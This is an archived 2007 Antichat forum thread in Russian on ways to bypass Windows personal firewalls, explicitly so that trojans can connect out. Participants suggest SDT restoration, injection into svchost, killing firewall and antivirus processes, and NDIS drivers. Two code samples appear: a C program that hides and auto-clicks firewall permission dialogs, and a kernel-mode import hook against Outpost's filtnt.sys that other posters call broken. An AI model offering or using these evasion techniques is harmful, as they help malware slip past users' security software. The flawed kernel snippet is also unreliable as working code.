Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Методы обхода фаерволов (https://forum.antichat.xyz/showthread.php?t=43390)

razzzar 30.06.2007 01:08

Методы обхода фаерволов
 
Меня интересует какие есть методы их обхода.

После долгого времени гуглирования и просмотра васма я понял такое:
1. если делать обход через инжект - надо восстанавливать таблицу Sdt
2. если просто создавать соединения, надо снимать хуки с ядерных функций, которые поставил фаервол

мои рассуждения верны?

как восстановить Sdt я более-менее нашел инфу и исходники. сижу разбираюсь. а вот как снять хуки не совсем понял. Sdt - это ж таблица адрессов функций ядра, так? если ее восстановить, то сразу же снимуться и хуки?

P.s.: извините, если вопрос нелепый, я новичек в этой сфере кодинга :)

Ky3bMu4 30.06.2007 10:52

Цитата:

Sdt - это ж таблица адрессов функций ядра, так? если ее восстановить, то сразу же снимуться и хуки?
Да.

Цитата:

2. если просто создавать соединения, надо снимать хуки с ядерных функций, которые поставил фаервол
Чистим sdt - инжект не палится, инжектируемся в проц, которому есть доступ в инет(svchost) и там уже создавай любое соединение.

razzzar 30.06.2007 16:34

Цитата:

Сообщение от Ky3bMu4
Чистим sdt - инжект не палится, инжектируемся в проц, которому есть доступ в инет(svchost) и там уже создавай любое соединение.

это я уже сделать могу.

а есть методы, чтобы без инжекта?

Ky3bMu4 30.06.2007 17:17

80 порт может вроде любая прога юзать(если я не ошибаюсь.).
Или искать окно фаера и нажимать там кнопку "Разрешить".

Но инжектом мы убиваем сразу 2 зайцев: невидимость в диспечере задач + обход фаеров.

razzzar 30.06.2007 17:40

80 порт может юзать только та прога, которой это можно ;) у него нету оособого статуса.

искать окно и нажимать на кнопку - это не то :)

инжект и так будет, но дело в том, что даже тому же svchost.exe не разрешено ко всем портам доступ на исходящие. а те которым разрешено по умолчанию, я юзать не могу (

Ky3bMu4 30.06.2007 17:50

Создаём поток, который будет каждые 7сек. будет убивать процессы фаеров/антивирусов.))))))))

Ali_MiX 30.06.2007 18:16

Смотря какой файер, если оутпост то ето пипец, хотя под его я где то видел сплойт или что то в роде того.

slesh 30.06.2007 21:08

Я както пытался делать вот такую вешь:
Запускать осла делать ему невидимое окно. После этого управлять этим окном.
Типа передача строки. потом скачевание и сохранение файла.
Но облом в том что фаер может начать возмущаться что типа запускается скрытый процес.

Hellsp@wn 30.06.2007 21:22

Hа невидимое окно многие фаеры ругаются =) Да и запуск ИЕ, левой прогой, тоже
не айс, попробуй переместить окно за экран.

Самый лучший в этом отношении ZoneAlarm, я не нашёл ещё более-менее простой
способ его обхода =\ может конечно плохо искал...

slesh 30.06.2007 21:26

Самый действенный способ - ставь свой драйвер уровня ядра. который быдет сидеть сразу над сетевым драйвером. И тогда хрен кто пропалит.
Но его хрен напишишь

slider 30.06.2007 21:36

эмм.. на днях кой чего накидал... мб кому пригодится...
уровень кодинга у меня неважный.. но вообщем зацените...


Код:

#include <windows.h>
#include <conio.h>

DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
while(10)
{
HWND opf;
HWND wbm;

wbm=FindWindow("#32770",0);
ShowWindow(wbm,SW_HIDE);
SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0);

opf=FindWindow("#32770",0);
ShowWindow(opf,SW_HIDE);
CheckDlgButton(opf,1007,0);
CheckDlgButton(opf,1006,1);
SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0);
opf=FindWindowEx(opf,0,0,"OK");
SendMessage(opf,BM_CLICK,0,0);

}
return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
if (hThread != NULL)
{
_getch();
CloseHandle( hThread );
}

sleep(10);
return 1;
}


Ky3bMu4 30.06.2007 21:55

Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

Код:


static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData)
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler)
{
Import->Function = (ULONG)NewHandler;
}

Import++;
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process;
}



void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}


razzzar 30.06.2007 23:35

2Кузьмич, этот код ставит свои хуки на уровне ядра?

inSa(Ne)rd 01.07.2007 00:08

razzzar, а что, можно так сделать в user-mode, да?

что за ебанутый код
Цитата:

PVOID Image = GetModuleHandle("filtnt.sys");
GetModuleHandleA никогда не будет работать в kernel mode

_Great_ 01.07.2007 00:10

Ky3bMu4 лол=) Кернел моде :)) А че там делает GetModuleHandle? )

slider, боян)

slider 01.07.2007 00:15

_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))

Ni0x 03.07.2007 01:28

забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека ;)
также можете юзать Bits, примеров хватает

razzzar 03.07.2007 01:32

у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?

Namelles One 03.07.2007 09:30

Дурдом какой-то.
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?

З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.

KEZ 03.07.2007 10:08

Цитата:

у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
советую учить делфи. пока ситуация ещё под контролем

Цитата:

В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?
аналогично

Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные)
если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь

так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее.

мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю.
можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло.

Цитата:

_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем

_Great_ 03.07.2007 10:46

Поехали
Цитата:

Сообщение от razzzar
как восстановить Sdt я более-менее нашел инфу и исходники. сижу разбираюсь. а вот как снять хуки не совсем понял. Sdt - это ж таблица адрессов функций ядра, так? если ее восстановить, то сразу же снимуться и хуки?

Вряд ли ты быстро разберешься в KERNEL-кодинге.
По поводу вопроса: яблоко стоит на столе. Выбрасываем старый стол и ставим новый. Очевидно, яблока на столе уже не будет. Вопрос твой оч странный даже с точки зрения логики.
Цитата:

Сообщение от Ky3bMu4
Создаём поток, который будет каждые 7сек. будет убивать процессы фаеров/антивирусов.))))))))

Лол, валяй. Я посмотрю
Цитата:

Сообщение от slesh
Самый действенный способ - ставь свой драйвер уровня ядра. который быдет сидеть сразу над сетевым драйвером. И тогда хрен кто пропалит.
Но его хрен напишишь

Если не понимаешь, нечего и возникать +) Оч даже и напишешь.
Цитата:

Сообщение от Ky3bMu4
Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

Мегажесть код, что тут делает GetModuleHandleA?
Цитата:

Сообщение от razzzar
2Кузьмич, этот код ставит свои хуки на уровне ядра?

Этот код, если откинуть неточности грубые, ставит хуки на импорт filtnt.sys на функцию IoGetCurrentProcess.
Цитата:

Сообщение от inSa(Ne)rd
да все любят кернел моде, переписывать там куски кода и тп
ни один не знает вообще что это такое, но хуле, скопипастить то надо чтоб показать "я крутой рингзеро хэкер" )

Цитата:

Сообщение от razzzar
у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?

Нет, SDT это таблица локальных функций. Сеть- вообще из другой оперы, там надо с NDIS работать

блин, вы сначала
1) научитесь кодить
2) научитесь кодить под ядро
3) разберитесь с устройством ядра и ядерной части Windows
А уж потом лезьте.
Цитата:

Сообщение от KEZ
Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват

Странная терминология у тебя =) Колец защиты в винде используется два - 0 и 3. 1 и 2 не используются изза совместимости (как меня она бесит, если выкинуть лишний код в винде, она станет в н раз меньше и в н раз быстрее)

razzzar 03.07.2007 19:41

Цитата:

Нет, Sdt это таблица локальных функций. Сеть- вообще из другой оперы, там надо с Ndis работать
Вот это я и хотел услышать :) спс за объяснение.
ПС: про НДИС, кроме васма еще есть хорошие ресурсы, де почитать?

_Great_ 03.07.2007 19:47

Цитата:

Сообщение от razzzar
Вот это я и хотел услышать :) спс за объяснение.
ПС: про НДИС, кроме васма еще есть хорошие ресурсы, де почитать?

MSDN очень хороший ресурс, рекомендую. Вообще если что, первым делом с вопросом в MSDN. Если там нету - уже надо думать

razzzar 03.07.2007 19:49

_great_, ну я ж не полный ламер. про мсдн знаю и пользуюсь ;)

Ni0x 03.07.2007 20:01

>>ПС: про НДИС, кроме васма еще есть хорошие ресурсы, де почитать?
http://rootkits.ru/

_Great_ 03.07.2007 20:46

Цитата:

Сообщение от Ni0x
>>ПС: про НДИС, кроме васма еще есть хорошие ресурсы, де почитать?
http://rootkits.ru/

Хотя это довольно начинающий ресурс, полезная инфа на не все же есть:) чето я забыл про него как-то

Ni0x 03.07.2007 20:53

на индексе висит
Цитата:

16.02.2007 16:59:35 - Обновление Rootkit Development Pack #4

125 статей, 37 исходников. В основном про NDIS, TDI, разработку и отладку (для новичков)
Новость добавил apple

_Great_ 03.07.2007 20:56

Цитата:

Сообщение от invlose
Получение DRIVER_OBJECT Great (4) руткитс

Ну да, это я ) В смысле в этой теме я забыл его упомянуть.

razzzar 03.07.2007 22:33

ок. спс всем, пойду разбираться :)

KEZ 04.07.2007 09:34

Цитата:

Странная терминология у тебя =) Колец защиты в винде используется два - 0 и 3. 1 и 2 не используются изза совместимости (как меня она бесит, если выкинуть лишний код в винде, она станет в н раз меньше и в н раз быстрее)
Грит не тупи) Для тебя любое кольцо защиты (даже из американского боевика про роботов) - это обязательно конкретизируется в кольца защиты в микропроцессоре ; )
Ведь тоже с терминологией проблема:

Цитата:

Нет, SDT это таблица локальных функций.
; )

Ni0x 04.07.2007 13:10

еще одна интересная статья про ndis
http://rootkit.com/newsread.php?newsid=219


Время: 20:13